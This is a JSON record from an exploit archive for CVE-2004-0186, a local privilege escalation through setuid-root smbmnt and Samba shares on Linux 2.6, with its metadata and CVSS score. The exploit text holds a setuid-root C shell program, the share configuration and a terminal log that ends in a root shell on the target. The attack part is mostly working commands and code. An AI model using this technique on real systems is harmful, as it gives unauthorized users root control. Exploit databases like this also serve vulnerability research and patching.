{"exploit":{"id":"EDB-23674","name":"Samba 2.2.8 (Linux Kernel 2.6 / Debian / Mandrake) - Share Privilege Escalation","description":"Samba 2.2.8 (Linux Kernel 2.6 / Debian / Mandrake) - Share Privilege Escalation","cves":["CVE-2004-0186"],"author":"Martin Fiala","published":"2004-02-09","platform":"linux","type":"local","language":"Text","source":"exploit-db","sourceUrl":"https://www.exploit-db.com/exploits/23674","path":"exploits/linux/local/23674.txt","revision":"8a926a9b85beb3bccd6e8016211fdb73e904b52b","filename":"EDB-23674.txt","vulnerabilities":[{"id":"CVE-2004-0186","state":"PUBLISHED","title":null,"titleSource":null,"description":"smbmnt in Samba 2.x and 3.x on Linux 2.6, when installed setuid, allows local users to gain root privileges by mounting a Samba share that contains a setuid root program, whose setuid attributes are not cleared when the share is mounted.","descriptionSource":"CVE Program","descriptionUrl":"https://www.cve.org/CVERecord?id=CVE-2004-0186","cvss":{"version":"2.0","baseScore":7.2,"severity":"high","vectorString":"AV:L/AC:L/Au:N/C:C/I:C/A:C","source":"NVD","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2004-0186"},"updatedAt":"2024-08-08T00:10:03.679Z","retrievedAt":"2026-11-27T12:11:53.451Z","stale":false,"error":null}],"imageUrl":"https://exploitbin.com/social/exploits/EDB-23674.png?v=2","url":"https://exploitbin.com/exploits/EDB-23674","downloadUrl":"https://exploitbin.com/api/v1/exploits/EDB-23674/download","codeUrl":"https://exploitbin.com/api/v1/exploits/EDB-23674/code","licenseUrl":"https://exploitbin.com/sources#exploit-db"},"code":"source: https://web.archive.org/web/2004/https://www.securityfocus.com/bid/9619/info\n\nA local privilege escalation vulnerability has been reported to affect the 2.6 Linux kernel.\n\nThe issue appears to exist due to a lack of sufficient sanity checks performed when executing a file that is hosted on a remote Samba share. An attacker may exploit this condition to gain elevated privileges, as the setuid/setgid bit of a remote file is honored on the local system.\n\n----------------------------------------\n\nmisko@slovakia:~$ smbmount --version\nUsage: mount.smbfs service mountpoint [-n] [-o options,...]\nVersion 3.0.1-Debian\n\nmisko@slovakia:~$ ls -l /usr/bin/smbmount\n- - -rwxr-xr-x 1 root root 591756 2004-01-13 20:29 /usr/bin/smbmount\nmisko@slovakia:~$ ls -l /usr/bin/smbmnt\n- - -rwsr-sr-x 1 root root 8088 2004-01-13 20:29 /usr/bin/smbmnt\n^\n\nConfirmed to be default on Debian and Mandrake.\n\nshare:/data/share# cat a.c\nmain()\n{\nsetuid(0);\nsetgid(0);\nsystem(\"/bin/bash\");\n}\n\nshare:/data/share# make a\ncc a.c -o a\nshare:/data/share# chmod +s a\nshare:/data/share#\n\nshare:/etc/samba/smb.conf\n\n[share]\npath = /data/share\nwritable = no\nlocking = no\npublic = yes\nguest ok = yes\ncomment = Share\n\nshare:/data/share# ls -l a\n- - -rwsr-sr-x 1 root root 11716 Feb 8 12:39 a\n\nmisko@slovakia:~$ ls -l pokus/a\n- - -rwsr-sr-x 1 root root 11716 2004-02-08 12:39 pokus/a\nmisko@slovakia:~$ pokus/a\nroot@slovakia:~# id\nuid=0(root) gid=0(root) skupiny=1000(misko),0(root),29(audio),100(users),1034(mtr),1035(333)\nroot@slovakia:~#","sha256":"fa09b2e89a251b8ec8ff603af07f7e706689b6ac51a668822de6ebda84745c79","bytes":1509,"fetchedAt":"2026-11-27T12:11:50.302Z","encoding":"utf-8 (display only; download retains original bytes)"}